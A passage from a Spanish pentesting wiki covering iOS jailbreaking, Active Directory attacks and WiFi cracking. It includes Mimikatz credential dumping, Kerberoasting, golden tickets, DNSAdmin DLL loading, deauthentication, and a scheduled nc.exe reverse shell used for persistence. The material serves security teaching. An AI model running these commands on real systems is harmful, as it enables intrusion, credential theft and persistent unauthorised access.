Pentesting](https://hacklejandria.com/ios-pentesting-analisis-estatico/) * Herramientas para SSL Pinning * [Kill switch2](https://github.com/nabla-c0d3/ssl-kill-switch2) * [Threat crowd](https://www.threatcrowd.org/) * [Rrbtex](https://www.robtex.com/) * [Threat miner](https://www.threatminer.org/) ## Para practicar hacking en iOS * [OWASP UnCrackable Mobile Apps](https://github.com/OWASP/owasp-mstg/tree/master/Crackmes#ios) * [Myriam](https://github.com/GeoSn0w/Myriam) * [iGoat](https://github.com/owasp/igoat) * [DamnVulnerableIosApp](https://damnvulnerableiosapp.com/) # Jailbreak Según la versión de iOS de tu dispositivo puedes usar las siguientes herramientas para hacer el jailbreak, pero debes tener en cuenta las limitaciones que tienen cada una.
Versiones de iOSHerramientaProcesadores permitidos
iOS 11.0 - iOS 11.4.1 https://coolstar.org/electra/
iOS 12.0 - iOS 12.5.7https://chimera.coolstar.org/
iOS 12 - iOS 14.6https://unc0ver.dev/A12-A13
iOS 12.0 - iOS 14https://checkra.in/Hasta A12
iOS 15 - iOS 16.5.1https://ellekit.space/dopamine/
iOS 15 - iOS 17https://palera1n.com/A8-A11
iOS 16 - iOS 16.6.1https://github.com/SerotoninApp/Serotonin
{% hint style="info" %} Si no sabes qué procesador tiene tu iPhone [aquí ](https://thinglabs.io/what-chip-does-each-iphone-model-use)tienes un listado. {% endhint %} * Con Dopamine, para acceder después vía SSH: {% code overflow="wrap" %} ``` ssh mobile@IP // la contraseña la puedes personalizar en la App de Dopamine, pero como recomendación usa "alpine" // una vez te hayas autenticado eleva a root sudo su ``` {% endcode %} Pero antes, debes conocer las siguientes herramientas que debes instalar en tu PC para ayudarte a realizarlo: * * Conecta tu dispositivo al PC * Haz click en la barra de tareas, en el logo del rombo de AltStore y pulsa en la opción "Instalar en iPhone". Debes instalar iCloud en tu PC y autenticarte con el Apple ID que está autenticado en tu dispositivo. * En tu dispositivo selecciona la .ipa que quieres instalar * * Conecta tu dispositivo al PC * Arrastras la .ipa a slideloadly * Te pedirá el Apple ID asociado al dispositivo de Apple, te autenticas y se instala la aplicación * * Te muestra información de tu dispositivo conectado. * Según la versión del dispositivo, hay una sección de "Jailbreak" para versiones algo antiguas, pero puedes probar. * Puedes instalar aplicaciones en el dispositivo arrastrándolas a u3Tools en la sección "Apps". * Si no están firmadas no se instalarán, para eso usa mejor Sideloadly Para deshabilitar Jailbreak en una app usando [Objection](/securiters-wiki/_tools/apps-moviles/objection) ```bash com.appName on (iPhone) [usb] # ios jailbreak disable ``` ## Pasos para realizar Jailbreak {% hint style="info" %} En el caso de iOS17 o superior hay varias aplicaciones como unc0verBlack y similares que te obligan a hacer una aportación para poder hacer uso de ese jailbreak. NO PAGUES. No hay exploit de Jailbreak actualmente (2025) para versiones superiores a iOS17. {% endhint %} Con las versiones que hemos visto en la tabla anterior vamos a diferenciar 3 casos: ### iOS 13.\* 1. Instalar altstore (desde pc → instalar en dispositivo) 2. En la app de AltStore en el dispositivo: 1. Si no está instalado unc0ver 1. Buscar en el navegador: unc0ver -> descargar 2. En AltStore > My Apps > + > Descargas > Instalar 2. Si está instalado en el dispositivo (pero no se ejecuta): 1. My Apps → refresh unc0ver 3. Abrimos unc0ver → Jailbreak (al terminar dirá que necesita que el dispositivo se reinicie, reinicia) 4. Vuelves a meterte en la aplicación para comprobarlo. Its jailbroken!! ### iOS 15.\* 1. Usamos Sideloadly para enviar a nuestro iphone 2. Ejecutamos la aplicación y pulsamos jailbreak. 3. Vuelves a meterte en la aplicación para comprobarlo. Its jailbroken!!Vuelves a meterte en la aplicación para comprobarlo. Its jailbroken!! Para hacer luego SSH - ssh mobile\@IP * sudo su ### iOS 16.6.1 1. Instala AltStore en el equipo y en el dispositivo (desde pc → instalar en dispositivo) 2. Desde el iphone y el pc descargar: 1. TrollinstallerX en o 2. TrollStar en 3. Desde el iphone descargar 4. Abrir altstore > my apps > + > explorar > descargas > instalar TrollinstallerX y luego TrollStar 5. Abrir y ejecutar TrollinstallerX > anclar exploit a la app calculator/measures/tips 6. Abrir y ejecutar TrollStar 7. Abrir la app donde se ha anclado el exploit (calculator/measures/tips) e instalar TrollStore 8. Abrir TrollStore > + > desde ipa > descargas > instalar Serotonine 9. Abrir TrollStore > open (as system user) > jailbreak Una vez que se haya reiniciado el iphone, vamos a TrollStore, instalamos [Bootstrap](https://github.com/roothide/Bootstrap), con Sileo y Zebra (se muestra dentro de la propia aplicación de TrollStore). Con esto ya podremos añadir la fuente de FRIDA en Sileo (añadiendo la fuente con la ruta ) y OpenSSH para hacer conexiones vía SSH con el iphone. ## Referencias * * * [Jail-breaking IOS 10.3.3 (32 bit) for Security Assessment of an iOS application (OWASP) | by Africa Cyber Immersion Center (ACIC) | Medium](https://medium.com/@africacyberimmersioncenter/jail-breaking-ios-10-3-3-32-bit-3481efcea392) * * * # Analisis Estatico iOS ## Herramientas Las herramientas más conocidas son: * [MobSF](https://github.com/MobSF/Mobile-Security-Framework-MobSF) El detalle de la instalación y la ejecución de MobSF lo tenéis en [el listado de las herramientas](/securiters-wiki/_tools#mobsf). Por otro lado, para hacer ingeniería inversa del binario de la aplicación, podemos usar: * Ghidra * Para su instalación podemos usar ``` $ apt install ghidra ``` * Para usarla con la aplicación: New project > nombrar\&guardar > Proyecto File > Batch Import > seleccionamos app.ipa {% hint style="info" %} #### IMPORTANTE! ES NECESARIO TENER EN CUENTA QUE CUALQUIER HERRAMIENTA AUTOMATICA PUEDE GENERAR FALSOS POSITIVOS, POR LO QUE SE DEBEN ANALIZAR LOS RESULTADOS OBTENIDOS MANUALMENTE PARA DESCARTARLOS. {% endhint %} ## Analizar * Configuración de las cookies almacenadas * Uso de funciones inseguras * Información definida en ficheros .plist * Análisis de la base de datos # Analisis Dinamico iOS Para analizar el comportamiento de la aplicación, es necesario * [configurar un proxy](/securiters-wiki/movil/ios#configurar-burp-suite-en-el-dispositivo) para interceptar las comunicaciones con el servidor. * comprender que la arquitectura es similar a una aplicación web. * Analizar la información que guarda la aplicación en el dispositivo. # Internas Esta sección está dedicada a técnicas, conceptos y vulnerabilidades que podemos encontrar en auditorías internas. ### Equipo local Es principalmente el punto de partida de las auditorías internas, y debemos realizar una serie de comprobaciones en los equipos proporcionados, entre las que se encuentran: #### BIOS * Contraseña * Está configurada? * Es robusta? * Cambio opciones de arraque permitido * Arranque por medios externos des/habilitado * Mecanismo de reseteo BIOS? #### Sistema Operativo * Cifrado de unidad de disco * Bitlocker? LUKS? --> Ataque de sticky keys * Modificación de archivos de accesibilidad * displayswitch.exe, magnifier.exe,narrator.exe, utilman.exe, sethc.exe * Vulnerabilidades conocidas del sistema operativo * Revisar parches aplicados * Modo a prueba de fallos accesible * Uso de unidades extraíbles * Unidades de red accesibles * Verificar permisos como escritura o acceso a información no permitida * Servicios en los que la ruta al ejecutable esta configurada sin comillas * Binarios susceptibles a DLL Hijacking * Escritura o creación de claves en el registro * Existencia de credenciales en GPO de SYSVOL * Si se accede a dominio * Verificar la posibilidad de ejecución de comandos * Activex, cmd, powershell, wmic, cscript, etc.. * Verificar el uso de protocolos vulnerables * NBT-NS, LLMR, MDNS, etc... * Restricción de instalación de aplicaciones insuficiente * Posibilidad de instalar aplicaciones con las credenciales del usuario otorgadas * Protección de acceso y escritura en unidad C:\ insuficiente. * Verificación de instalación y uso de compiladores * Con la instalacion de Microsoft.NET framework se instala un compilador csc * Ultimo usuario visible al iniciar * Es posible ver el ultimo usuario que inicio sesion en el sistema * Uso de software de control remoto * Como logmein, etc.. Depende de la politica, o el modo de acceso VPN, LAN, etc.. * Acceso al directorio activo en modo lectura * Si se accede a un entorno de AD * Volcado de credenciales en memoria * Bypass solución de Filtrado web de la compañía * Comprobación de borrado seguro de archivos * Uso de software y protocolos de descarga masiva * bittorrent, edonkey, etc.. * Exfiltración de información – Canales encubiertos * DNS, ICPM, etc. * Permisos de cierre de procesos críticos del sistema * antivirus, etc. * Uso de software con vulnerabilidades conocidas * Credenciales almacenada en navegador * Antivirus/antimalware instalado y ejecutándose * Firewall habilitado y configurado * Uso de herramientas de hacking con antivirus habilitado ### Herramientas * [Responder](https://github.com/SpiderLabs/Responder) * [Impacket](https://github.com/SecureAuthCorp/impacket) * [PowerSploit](https://github.com/PowerShellMafia/PowerSploit) * [SharpHound](https://github.com/BloodHoundAD/SharpHound) * [Certipy](https://github.com/ly4k/Certipy) ### Recursos y enlaces de referencia # Linux ## :construction: UNDER CONSTRUCTION :construction: ### Herramientas * [linux-smart-enum](https://github.com/diego-treitos/linux-smart-enumeration) ### Recursos y enlaces de referencia # AD Esta sección está dedicada a diferentes conceptos y técnicas de explotación de vulnerabilidades que afectan a los Directorios Activos. ### Recursos y enlaces de referencia: * [Active Directory desde 0](https://zer1t0.gitlab.io/posts/attacking_ad/) * [AD 101](https://owasp.org/www-pdf-archive/OWASP_FFM_41_OffensiveActiveDirectory_101_MichaelRitter.pdf) * [Ataques Active Directory y Kerberos](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse) * [Ataques y Defensas de Active Directory](https://github.com/infosecn1nja/AD-Attack-Defense#discovery) * [CheetSheet de Active Directory](https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet) * Cheat sheet de comandos de AD: [https://wadcoms.github.io/](https://wadcoms.github.io/#+Exploitation) * LOLBAS project: * * * * h * h[ttps://casvancooten.com/posts/2020/11/windows-active-directory-exploitation-cheat-sheet-and-command-reference/](https://casvancooten.com/posts/2020/11/windows-active-directory-exploitation-cheat-sheet-and-command-reference/) * s4vitar - * * * # Enumeracion ## 1. Enumeración de la máquina local Sysinternals de Windows [Sysinternals Suite - Windows Sysinternals | Microsoft Docs](https://docs.microsoft.com/en-us/sysinternals/downloads/sysinternals-suite) ```powershell $ Get-ComputerInfo ``` * Descargar en memoria scripts {% code overflow="wrap" %} ```powershell $ iex ((New-Object System.Net.WebClient).DownloadString('https://raw.githubusercontent.com/BloodHoundAD/BloodHound/master/Collectors/SharpHound.ps1')) ``` {% endcode %} * comprobar si un equipo no tiene parches de seguridad instalados ```powershell $ HOSTNAME.EXE ``` ```powershell $ Get-WmiObject -Class win32_OperatingSystem | select version,buildnumber ``` ```powershell $ wmic qfe list full | findstr /i hotfix ``` En la web podemos encontrar, según la versión de build de Windows, qué vulnerabilidades le afectarían debido a falta de actualizaciones, y puede ser usado para escalar privilegios. ## 2. Enumeración del dominio Evadir las políticas de ejecución de Powershell ``` powershell.exe -executionpolicy bypass powershell.exe -ep bypass Set-ExecutionPolicy Unrestricted ``` * [Seatbelt](https://github.com/GhostPack/Seatbelt) * [ADRecon](https://github.com/sense-of-security/ADRecon/blob/master/ADRecon.ps1) ```powershell . .\ADRecon.ps1 ``` * [Powerview tricks](https://gist.github.com/HarmJ0y/184f9822b195c52dd50c379ed3117993) * ver maquina del DC ```powershell get-netcomputer ``` * Listar los usuarios del dominio ```powershell Get-DomainUser | select -ExpandProperty cn ``` * Listar los equipos del dominio ```powershell Get-DomainComputer ``` * Listar los dominios del forest ```powershell Get-ForestDomain ``` * Listar los tipos de "confianza" (trust) de los dominios/forest ```powershell Get-DomainTrust ``` ```powershell Get-ForestTrust ``` * La información de un grupo del dominio ```powershell Get-DomainGroup "Domain Admins" ``` * Listar los miembros de un grupo del dominio ```powerquery Get-DomainGroupMember "Domain Admins" | select -ExpandProperty membername ``` * Listar shares del dominio, ignorando los default shares y check access ```powershell Find-DomainShare -ExcludeStandard -ExcludePrint -ExcludeIPC -CheckShareAccess ``` {% code overflow="wrap" %} ```powershell Get-DomainOU -name Servers | %{ Get-DomainComputer -SearchBase $_.distinguishedname } | select dnshostname ``` {% endcode %} * Listar política de contraseñas ```powershell (Get-DomainPolicy)."SystemAccess" ``` * Usuarios con el SID History (powerview) ```powershell Get-DomainUser -LDAPFilter '(sidHistory=*)' ``` * Listar shares del dominio que el usuario actual tiene acceso ```powershell Find-DomainShare -CheckShareAccess ``` * Comprobar configuracion de bitlocker ```powershell manage-bde.exe -status ``` * [Capturar hashes NTLM con Inveigh](https://github.com/Kevin-Robertson/Inveigh) ```powershell Invoke-Inveigh -HTTP N -NBNS Y -ConsoleOutput Y -EvadeRG Y ``` ### LAPS * Recurso: ```powershell Install-Module -Name [AdmPwd.PS](http://admpwd.ps/) ``` * Si LAPS se encuentra instalado en el equipo {% code overflow="wrap" %} ```powershell REG QUERY "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft Services\AdmPwd" /v AdmPwdEnabled 2>nul ``` {% endcode %} ```powershell Get-ChildItem 'c:\program files\LAPS\CSE\Admpwd.dll' ``` * Identificar si se encuentra instalado en el DC ```powershell Get-ChildItem 'C:\Program Files\LAPS\CSE\Admpwd.dll' ``` ```powershell Get-ChildItem 'C:\Program Files (x86)\LAPS\CSE\Admpwd.dll' ``` * Listar el atributo ms-mcs-admpwd ```powershell Get-NetComputer | Select-Object 'name','ms-mcs-admpwd' ``` ```powershell Get-DomainComputer -identity -properties ms-Mcs-AdmPwd ``` {% code overflow="wrap" %} ```powershell Get-ADComputer -Filter * -Properties 'ms-Mcs-AdmPwd' | Where-Object { $_.'ms-Mcs-AdmPwd' -ne $null } | Select-Object 'Name','ms-Mcs-AdmPwd' ``` {% endcode %} * Lista el usuario o grupos que tienen permisos de lectura a la propiedad de LAPS para un equipo específico {% code overflow="wrap" %} ```powershell Get-NetComputer -ComputerName 'LAPSCLIENT.test.local' -FullData | Select-Object -ExpandProperty distinguishedname | ForEach-Object { $*.substring($*.indexof('OU')) } | ForEach-Object {Get-ObjectAcl -ResolveGUIDs -DistinguishedName $*} | Where-Object {($*.ObjectType -like 'ms-Mcs-AdmPwd') -and ($*.ActiveDirectoryRights -match 'ReadProperty')} | ForEach-Object {Convert-NameToSid $*.IdentityReference} | Select-Object -ExpandProperty SID | Get-ADObject ``` {% endcode %} * Listar la ACL para todas las OU donde algún usuario tenga permisos de lectura sobre el atributo LAPS {% code overflow="wrap" %} ```powershell Get-NetOU | Get-ObjectAcl -ResolveGUIDs | Where-Object {($_.ObjectType -like 'mc-ms-AdmPw') -and ($_.ActiveDirectoryRights -match 'ReadProperty')}| ForEach-Object{$_ | Add-Member NoteProperty 'IdentitySID' $(Convert-NameToSid $_.IdentityReference).SID;$_} ``` {% endcode %} Network poissoning Una vez estamos conectados a la red de la infraestructura, con [Responder ](https://github.com/lgandx/Responder)podemos suplantar los servicios de LLMNR y NBT-NS, ya que se transmiten vía UDP ``` responder -I responder -I -Prdwv ``` ### Bloodhound Es la herramienta por excelencia para la enumeración de un dominio. Para ello, se ha creado una [*sección*](https://github.com/securiters/SecuritersWiki/blob/main/Herramientas_BloodHound.md) explícita de la herramienta. # Mimikatz & PassTheHash ## Mimikatz Es la herramienta más usada para extraer hashes y contraseñas de máquinas Windows, que podemos obtener desde [su repositorio](https://github.com/gentilkiwi/mimikatz). Las credenciales del dominio se almacenan en el fichero ntds.dit en la máquina del Domain Controller (DC). * Obtener credenciales en la máquina local {% code overflow="wrap" %} ``` Invoke-Mimikatz -DumpCreds ``` {% endcode %} * Obtener certificados en la máquina local {% code overflow="wrap" %} ``` Invoke-Mimikatz –DumpCerts ``` {% endcode %} * Obtener credenciales de varias máquinas remotas ``` Invoke-Mimikatz -DumpCreds -ComputerName @("sys1","sys2") ``` * Exportar todos los tickets de la máquina ``` Invoke-Mimikatz -Command '"kerberos::list /export"' ``` * Listar los tickets de los usuarios autenticados en la máquina local ``` Invoke-Mimikatz –Command '"sekurlsa::tickets"' ``` * Listar claves de cifrado de Kerberos ``` Invoke-Mimikatz –Command '"sekurlsa::ekeys"' ``` * Inyectar ticket {% code overflow="wrap" %} ``` Invoke-Mimikatz -Command '"kerberos::ptt TGS_Administrator@domain.local@DOMIAIN.LOCAL_cifs~dcorpmssql.dollarcorp.moneycorp.LOCAL@DOLLARCORP.MONEYCORP.LOCAL.kirbi"' ``` {% endcode %} ## Pass The Hash (PTH) Usa el hash NTLM de un usuario para suplantar su identidad. En este caso también abre una consola de powershell. {% code overflow="wrap" %} ``` Invoke-Mimikatz -Command '"sekurlsa::pth /user:Administrator /domain:domain.local /ntlm: /run:powershell.exe"' ``` {% endcode %} # Local Privilege Escalation Analizar: * Los servicios que se encuentran instalados (cuáles son sus versiones), que se ejecutan en el equipo, que tiene el usuario del equipo... * Historial de Powershell * Pertenencia a grupos con privilegios --> conseguir shell como Local Admin Probar: * AdminSDHolder - {% code overflow="wrap" %} ```powershell Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=Security,DC=local' -PrincipalIdentity Moe -Rights All -verbose ``` {% endcode %} * password spraying - ```jsx Invoke-DomainPasswordSpray -Password pass Invoke-DomainPasswordSpray -PasswordList .\\Passwords.txt -Domain ``` # PE - AS-REPRoast Escalada de privilegios a través de ASP-REPRoasting * PowerView ```powershell Get-DomainUser -PreauthNotRequired ``` * Rubeus - ```powershell # Extract from all domain accounts .\\Rubeus.exe asreproast /format:hashcat /outfile:hashes.asreproast ``` * Kerbrute - ```powershell ./kerbrute userenum --dc --domain kerbrute userenum names.txt --dc 10.10.10.10 --domain security.local ``` * Impacket - {% code overflow="wrap" %} ```powershell # No domain credential. Bruteforce names with Wordlist python2 GetNPUsers.py -dc-ip -usersfile -format | grep -v 'Kerberos SessionError:' python2 GetNPUsers.py security/ -dc-ip 10.10.10.10 -usersfile names.txt -format john | grep -v 'Kerberos SessionError:' # Valid domain credentials. Extract from all domain accounts python2 GetNPUsers.py /: -request -format | grep "$krb5asrep$" python2 GetNPUsers.py security.local/bart:'StrongPassword!!' -request -dc-ip 10.10.10.10 -format john | grep "$krb5asrep$" ``` {% endcode %} * Cracking ```powershell Windows hashcat64.exe -m 18200 c:Hashes.txt rockyou.txt Linux john --wordlist rockyou.txt Hashes.txt hashcat -m 18200 -a 3 Hashes.txt rockyou.txt ``` # PE - DNSAdmin Escalada de Privilegios a través de DNSAdmin Los usuarios que son miembros del grupo 'DnsAdmins' tienen la capacidad de abusar de una característica del protocolo de gestión de DNS de Microsoft para hacer que el servidor DNS cargue cualquier DLL especificada. El servicio que a su vez ejecuta la DLL se realiza en el contexto de SYSTEM y podría utilizarse en un Controlador de Dominio (desde donde se ejecuta normalmente el DNS) para obtener privilegios de Administrador de Dominio. Para identificarlo: * Monitoriza los procesos hijos generados bajo DNS.exe en los servidores DNS. * Audita ACL para el privilegio de escritura en el objeto del servidor DNS y la pertenencia al grupo DNSAdmins * Supervisa los registros de eventos para el ID 150 \[fail] y el ID 770 \[success]. * Lista los miembros con DNSAdmins (PowerView) ```powershell Get-NetGroupMember -Identity "DNSAdmins" ``` Una vez sabemos los miembros de este grupo, debemos comprometerlos. Con los privilegios de los miembros de DNSADmins se configura una DLL usando dnscmd.exe (requiere RSAT DNS): ``` dnscmd dcorp-dc /config /serverlevelplugindll \\IP_Maquina_Remota\dll\mimilib.dll ``` Usamos el módulo DNSServer: ``` $dnsettings = Get-DnsServerSetting -ComputerName dcorp-dc -Verbose -All $dnsettings.ServerLevelPluginDll ="\\172.16.50.100\dll\mimilib.dll" Set-DnsServerSetting -InputObject $dnsettings -ComputerName dcorp-dc -Verbose ``` Reiniciamos el servicio DNS ``` sc \\dcorp-dc stop dns sc \\dcorp-dc start dns ``` # PE - Kerberoast Escalada de Privilegios a través de Kerberoasting * Cracking offline de contraseñas de cuentas de servicio. * El ticket de sesión de Kerberos (TGS) tiene una parte de servidor que está cifrada con el hash de la contraseña de la cuenta de servicio. Esto hace posible solicitar un ticket y hacer un ataque de contraseña sin conexión. * Las cuentas de servicio son muchas veces ignoradas (las contraseñas rara vez se cambian) y tienen acceso privilegiado. * Los hashes de las contraseñas de las cuentas de servicio pueden ser utilizados para crear tickets Silver. * Encuentre las cuentas de usuario utilizadas como cuentas de servicio: * PowerView ```powershell Get-NetUser –SPN ``` * Con el módulo de ActiveDirectory {% code overflow="wrap" %} ```powershell Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties ServicePrincipalName ``` {% endcode %} * Petición a TGS ```powershell Add-Type -AssemblyName System.IdentityModel New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/domain.local" ``` * Request-SPNTicket de PowerView puede ser usado también para crackear con John o Hashcat. * Comprobar si se ha concedido el TGS ```powershell klist ``` * Exportar todos los tickets usando Mimikatz ```powershell Invoke-Mimikatz -Command '"kerberos::list /export"' ``` * Crackear la contraseña de Service account ```powershell python.exe .\\tgsrepcrack.py .\\10k-worst-pass.txt .\\user@domain.local DOMAIN.LOCAL.kirbi ``` # PE - Trusts Escalada de privilegios a través de las relaciones de confianza (trust) entre dominios # PE - Delegations Escalada de privilegios a través de las delegaciones > Resources: Cuando se establece la delegación Constrained en una cuenta, ocurren dos cosas: 1\. El atributo userAccountControl del objeto se actualiza con la flag "TRUSTED\_TO\_AUTHENTICATE\_FOR\_DELEGATION". 2\. El atributo msDS-AllowedToDelegateTo se rellena con el SPN configurado en la pestaña de delegation. > Resources: # Persistencia - ACLs # Persistencia - Kerberos & Tickets ## Silver Ticket Hace uso de Mimikatz para solicitar al DC el uso del servicio CIFS/HOST con la cuenta de Administrator. {% code overflow="wrap" %} ```powershell # Mimikatz kerberos::golden /domain:domain.local /sid:SID /target:dc.domain.local /service:CIFS /rc4:RC4 /user:administrator /ptt ``` {% endcode %} {% code overflow="wrap" %} ``` Invoke-Mimikatz -Command '"kerberos::golden /domain:domain.local /sid:Administrator_SID /target:domain.local /service:HOST /rc4:RC4 /user:Administrator /ptt"' ``` {% endcode %} Ahora que el ticket ha sido creado e inyectado en el proceso actual (/ptt) podemos utilizar el siguiente comando para abrir un nuevo prompt de comandos desde Mimikatz conservando el ticket. ```powershell misc::cmd ``` A continuación, podemos ejecutar los comandos del controlador de dominio. {% code overflow="wrap" %} ```powershell #list the C$ share dir \\\\dc.domain.local\\c$ # Map drive net use Z: \\\\dc.domain.local\\C$ # Copy malware to Domain Administrator startup folder on DC copy .\\MaliciousFile.exe "\\\\dc.domain.local\\c$\\Users\\Administrator\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup" # CMD .\\PsExec.exe -accepteula \\\\dc01.security.local cmd # Netcat schtasks /create /sc minute /mo 1 /tn "Persistence" /tr 'c:\\Users\\Administrator\\Downloads/nc.exe IP 443 -e cmd.exe' ``` {% endcode %} ## Golden Ticket Un ataque de golden ticket es un ataque posterior al compromiso de Active Directory en el que una cuenta comprometida, como un administrador de dominio o una cuenta con derechos de DCSync que puede volcar el hash de la cuenta KRBTGT, puede crear un ticket dorado que efectivamente da al atacante persistencia y la capacidad de acceder a cualquier recurso en el dominio. Cada vez que el atacante quiere acceder a un recurso puede efectivamente falsificar un ticket para ese recurso en el que puede utilizar para el acceso. Con los privilegios de DA, comprueba el privilegio de Mimikatz: ```powershell Privilege::debug ``` Ahora tenemos que sacar información relevante de la cuenta KRBTGT para que podamos construir el ataque Golden Ticket. ```powershell lsadump::lsa /inject /name:krbtgt ``` De la salida necesitamos la siguiente información: * SID Domain * KRBTGT NTLM Hash Después de obtener esta información necesitamos armar el comando de abajo dentro de Mimikatz. {% code overflow="wrap" %} ```powershell kerberos::golden /User:Administrator /domain:vuln.local /sid:SID /krbtgt:HASH /id:500 /ptt ``` {% endcode %} Donde: * /Usuario: Puede ser cualquier usuario. No es necesario que la cuenta exista para esto. * /Domain: es el nombre del dominio * /SID: es el SID del dominio * /Krbtgt: es el hash NTLM de la cuenta KRBTGT. * id: es el RID de la cuenta de administrador que es 500 por defecto. * ptt: informa a Mimitkaz para que pase el ticket a nuestra siguiente sesión. 💡 Podemos confirmar si esto ha funcionado comprobando la última línea del out for: **Ticket dorado para Administrador @ domain.local enviado con éxito para la sesión actual**. A continuación, podemos crear un shell de comandos independiente utilizando el Golden Ticket con el siguiente comando: ```powershell misc::powershel.exe ``` DCSync -Mimikatz ```powershell lsadump::dcsync /domain:domain.local /all lsadump::dcsync /domain:domain.local /user:krbtgt lsadump::lsa /patch ``` # Wifi Pruebas a realizar sobre redes inalámbricas Las pruebas que se describen y recomiendan realizar en esta sección están basadas en la metodología [OWISAM](https://www.owisam.org/index.php). ## Espacio de trabajo Antes de comenzar a trabajar es necesario saber si las antenas que vamos a usar necesitan la instalación de los drivers, o son plug\&play y se identifican directamente por la máquina. En el caso de las antenas Alfa, es necesario la instalación de los drivers, y para ello os dejamos este vídeo: {% embed url="" %} Para instalar los drivers puedes usar estos comandos: ``` sudo apt update sudo apt upgrade -y sudo apt dist-upgrade -y sudo reboot now sudo apt update sudo apt install realtek-rtl88xxau-dkms sudo apt install dkms git clone https://github.com/aircrack-ng/rtl8812au cd rtl8812au/ make sudo make install //instalar las headers de tu version de kali //sudo apt search linux-headers //sudo apt-get install –y linux-headers- lsusb //para identificar la antena conectada vía USB iwconfig //para confirmar que se ha identificado la interfaz de red ``` {% hint style="info" %} IMPORTANTE En algunas versiones de Kali Linux después de instalar los drivers de la antena, es posible que cuando actualices Kali y reinicies, puede darte un kernel panic, pero arrancas Kali en modo seguro, desinstalas los drivers, vuelves a actualizar Kali, y ya está :) {% endhint %} Para desinstalar los drivers puedes usar estos comandos: ``` apt remove realtek-rtl88xxau-dkms && apt purge realtek-rtl88xxau-dkms apt update && apt upgrade apt autoremove && apt autoclean reboot apt-get dist-upgrade reboot ``` ## Configuraciones de la tarjeta de red ### 1. Modos de escucha: * Modo managed. Permite ver las redes a tu alrededor y conectarte a ellas. ```bash iwconfig [wlan0] mode managed ``` * Modo monitor. Permite capturar el tráfico de las redes a tu alrededor. ```bash iwconfig [wlan0] mode monitor ``` * Matar los procesos que interfieren con la suite aircrack-ng ```bash airmon-ng check kill ``` ### 2. Opciones de la tarjeta de red: * Comprobar estado de la tarjeta de red ```bash iwconfig ``` * Activar la tarjeta de red ```bash ifconfig start [wlan0] ``` * Desactivar la tarjeta de red ```bash ifconfig stop [wlan0] ``` * Cambiar la MAC de la interfaz de red: ```visual-basic macchanger -a [wlan0] ``` ## Recursos y enlaces de referencia * * * * [Router hacking y firmware](https://secnigma.wordpress.com/2022/01/18/a-beginners-guide-into-router-hacking-and-firmware-emulation/) * [Routers Passwords](https://www.routerpasswords.com/) * [cracking WPA/WPA2 para CTF's](https://github.com/skickar/ChickenManGame) # WEP Al usar RC4 con claves de 64bits o 128bits para cifrar las comunicaciones, es declarado vulnerable y obsoleto desde 2003, que fue sustituido por WPA, por lo que es altamente recomendable no usar estas redes. ## Obtener contraseña de la red En primer lugar tenemos que identificar el BSSID del punto de acceso, de forma que interceptamos el tráfico de este punto de acceso. Hay varias formas de obtener la contraseña de la red: 1. Con clientes conectados ```bash airodump-ng -band abg -b [BSSID] -c [canal] -w escaneo [wlan0mon] ``` Para generar más tráfico, podemos desautenticar a los clientes conectados ```bash aireplay-ng -0 0 -a [BSSID] [wlan0mon] ``` Una vez hemos capturado tráfico durante un tiempo relevante, ```bash aircrack-ng escaneo-01.cap -w [rutaDiccionario] ``` 2. Con besside-ng ``` airmon-ng check kill besside-ng -c [canal] -b [BSSID] [wlan1] -v ``` ## Conexión a la red Teniendo la contraseña de la red podemos conectarnos generando el fichero de configuración de la red "wpa\_supplicant\_ESSID.conf" ``` network={ ssid=[ESSID] // el nombre de la red key_mgmt=NONE wep_key0=[PASSWORD] // la contraseña de la red wep_tx_keyidx=0 } ``` Para conectarnos a la red usaremos ``` wpa_supplicant -c [wpa_supplicant_ESSID.conf] -i [wlan1] ``` ## Recursos y enlaces de referencia * [WifiChallengeLab](https://r4ulcl.com/posts/walkthrough-wifichallenge-lab-2.0/#07-get-wifi-old-password) # WPS Wifi Protected Setup Es una funcionalidad básica que permite la conexión a una red WiFi escribiendo un PIN de 8 dígitos en lugar de una contraseña más compleja. {% hint style="info" %} Es aconsejable tener deshabilitado el WPS en las redes :) {% endhint %} ## Obtener PIN Para conocer si las redes hacen uso de WPS, tenemos 2 opciones: 1. Con wash ```jsx wash -i [wlan0mon] ``` 2. Con airodump ``` airodump-ng -band abg [wlan0mon] --wps ``` Si tenemos una red con WPS versión 1.0, cogeremos su MAC (BSSID) y podremos ejecutar un ataque de fuerza bruta con Reaver ``` reaver -b [BSSID] -i [wlan0mon] -v reaver -b [BSSID] -i [wlan0mon] -v -K ``` {% hint style="info" %} -K sirve para que sea más rápido el ataque realizando un PixieWPD attack {% endhint %} ## Recursos y enlaces de referencia * # Redes PSK Redes WPA-TKIP o WPA-CCMP ## 1. Enumeración #### Teniendo en cuenta que la tarjeta de red está en modo MONITOR * Para enumerar todas las redes a tu alrededor ```bash airodump-ng -band abg [wlan0mon] ``` * Para limitar la enumeración a un ESSID y guardar el resultado ```xojo airodump-ng -band abg [wlan0mon] --esid [ESSID] -w outputFile ``` * Para limitar la enumeración a varios ESSIDs y guardar el resultado ``` airodump-ng --band abg [wlan0mon] --essid-regex 'ESSID1|ESSID2|ESSID3' -w outputFile ``` * Para enumerar las redes de canales determinados ```bash airodump-ng -band abg -c [44,60,11] [wlan0mon] ``` * Para enumerar los fabricantes de los puntos de acceso ``` airodump-ng -band abg [wlan0mon] --manufacturer ``` #### Teniendo en cuenta que la tarjeta de red está en modo MANAGE * Para ver los APs disponibles en el entorno ```bash iwlist [wlan0] scan | grep [ESSID] -i ``` ## 2. Habilitar Rogue APs de una red Para suplantar la red necesitamos 2 terminales: Terminal 1 -> Escanea los AP cercanos con el BSSID a suplantar ```bash airodump-ng --band abg [wlan0mon] --essid [ESSID] ``` Terminal 2 -> Levanta un AP con el nombre de la red (BSSID) a suplantar con nuestra MAC ``` airbase-ng -e [ESSID] -v [wlan0mon] ``` ## 3. Des-autenticar clientes conectados a una red * Escaneo de las redes ```bash airodump-ng -c [canal] --essid [ESSID] [wlan0mon] ``` * Desautenticación de un cliente de la red {% code overflow="wrap" %} ```bash 